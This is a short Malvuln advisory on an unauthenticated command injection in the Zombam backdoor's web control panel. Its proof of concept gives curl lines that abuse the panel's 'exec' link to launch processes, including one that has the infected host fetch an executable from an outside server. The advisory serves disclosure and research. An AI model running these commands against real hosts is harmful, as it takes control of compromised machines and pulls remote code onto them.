Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9729e9fc004ea49d3c2ddee28736dae3_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.l
Vulnerability: Unauthenticated URL Command Injection
Description: Zombam malware listens on TCP port 80 and deploys a HTML Web UI for basic remote administration capability. The RAT has option to kill processes by clicking a link E.g. href="/kill&smss.exe&" this would terminate the smss.exe process. By changing "kill" to exec "exec&<command-to-run>" you can start arbitrary processes. Crafting a successful injection requires padding an extra character to the end of the executable extension you want to call, otherwise it gets truncated and will fail. Example, curl http://x.x.x.x/exec&calc.exe results in the following message: "error! calc.ex cannot be executed". However, padding the extra character so ".exe" becomes ".exee", curl http://x.x.x.x/exec&calc.exee will successfully process and we will get the response "calc.exe executed".

welcome 2 HTTP_RAT infected computer }]
menu [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage]

Type: PE32
MD5: 9729e9fc004ea49d3c2ddee28736dae3
Vuln ID: MVID-2021-0277
Disclosure: 07/03/2021

Exploit/PoC:
Opens the default web-browser on the infected host to download the file "DOOM.exe" from the server.

CURL http://x.x.x.x/exec&http://hyp3rlinx.altervista.org/DOOM.exee

HTTP Response: 
http://hyp3rlinx.altervista.org/DOOM.exe executed

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